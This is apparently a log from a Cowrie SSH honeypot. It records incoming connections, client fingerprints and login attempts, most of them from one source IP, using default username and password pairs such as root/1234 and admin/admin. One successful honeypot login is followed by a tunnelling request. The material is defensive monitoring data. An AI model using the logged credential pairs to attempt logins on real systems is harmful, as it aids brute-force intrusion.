{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:38.847965Z","src_ip":"46.19.67.181","session":"27c9be5b5862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210881","message":"login attempt [root/210881] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:39.188506Z","src_ip":"46.19.67.181","session":"27c9be5b5862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.9","message":"Connection lost after 20.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:39.709902Z","src_ip":"91.92.42.227","session":"64dca16e589e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:40.303637Z","src_ip":"46.19.67.181","session":"27c9be5b5862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:41.256454Z","src_ip":"91.92.42.227","session":"6a230a9b9859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45934,"dst_ip":"10.17.0.5","dst_port":22,"session":"dba4438006ba","protocol":"ssh","message":"New connection: 91.92.42.227:45934 (10.17.0.5:22) [session: dba4438006ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:43.425871Z"}
{"eventid":"cowrie.session.closed","duration":"18.1","message":"Connection lost after 18.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:43.959706Z","src_ip":"91.92.42.227","session":"6a230a9b9859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:44.995275Z","src_ip":"91.92.42.227","session":"1ca0a2797c85","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:44.998374Z","src_ip":"91.92.42.227","session":"dba4438006ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:45.004373Z","src_ip":"91.92.42.227","session":"dba4438006ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:47.427105Z","src_ip":"91.92.42.227","session":"1ca0a2797c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"E4IuG88G","message":"login attempt [admin/E4IuG88G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:51.589130Z","src_ip":"91.92.42.227","session":"dba4438006ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49336,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e1b6cbab8be","protocol":"ssh","message":"New connection: 91.92.42.227:49336 (10.17.0.5:22) [session: 9e1b6cbab8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:52.565886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:53.551658Z","src_ip":"91.92.42.227","session":"9e1b6cbab8be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:53.553995Z","src_ip":"91.92.42.227","session":"9e1b6cbab8be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:53.689667Z","src_ip":"91.92.42.227","session":"dba4438006ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.76319670677185,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:55.487418Z","src_ip":"172.81.62.90","session":"ff11dc385ac2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:57.125550Z","src_ip":"91.92.42.227","session":"9e1b6cbab8be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:59.235513Z","src_ip":"91.92.42.227","session":"9e1b6cbab8be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37004,"dst_ip":"10.17.0.5","dst_port":22,"session":"f29321dd2554","protocol":"ssh","message":"New connection: 91.92.42.227:37004 (10.17.0.5:22) [session: f29321dd2554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:00.364763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:01.051673Z","src_ip":"91.92.42.227","session":"f29321dd2554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:01.054363Z","src_ip":"91.92.42.227","session":"f29321dd2554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18690,"dst_ip":"159.203.135.109","dst_port":22,"session":"4505bfa204e4","protocol":"ssh","message":"New connection: 194.59.206.2:18690 (159.203.135.109:22) [session: 4505bfa204e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:04.341009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:04.345740Z","src_ip":"194.59.206.2","session":"4505bfa204e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:04.431531Z","src_ip":"194.59.206.2","session":"4505bfa204e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:04.521260Z","src_ip":"194.59.206.2","session":"4505bfa204e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:04.857116Z","src_ip":"91.92.42.227","session":"f29321dd2554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:06.730260Z","src_ip":"91.92.42.227","session":"f29321dd2554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51456,"dst_ip":"10.17.0.5","dst_port":22,"session":"00d2c61644e7","protocol":"ssh","message":"New connection: 91.92.42.227:51456 (10.17.0.5:22) [session: 00d2c61644e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:07.226623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:07.978738Z","src_ip":"91.92.42.227","session":"00d2c61644e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:08.010884Z","src_ip":"91.92.42.227","session":"00d2c61644e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:12.194246Z","src_ip":"91.92.42.227","session":"00d2c61644e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:14.019684Z","src_ip":"91.92.42.227","session":"00d2c61644e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37160,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c81c43b951a","protocol":"ssh","message":"New connection: 91.92.42.227:37160 (10.17.0.5:22) [session: 1c81c43b951a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:14.807973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:15.444423Z","src_ip":"91.92.42.227","session":"1c81c43b951a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:15.447558Z","src_ip":"91.92.42.227","session":"1c81c43b951a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:18.081179Z","src_ip":"91.92.42.227","session":"1c81c43b951a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:19.499393Z","src_ip":"91.92.42.227","session":"1c81c43b951a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14730,"dst_ip":"10.17.0.5","dst_port":22,"session":"64bf5381de67","protocol":"ssh","message":"New connection: 87.251.64.176:14730 (10.17.0.5:22) [session: 64bf5381de67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:20.657777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:20.661794Z","src_ip":"87.251.64.176","session":"64bf5381de67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:20.755396Z","src_ip":"87.251.64.176","session":"64bf5381de67","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:21.037309Z","src_ip":"87.251.64.176","session":"64bf5381de67","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:22:21.135216Z","session":"64bf5381de67","protocol":"ssh"}
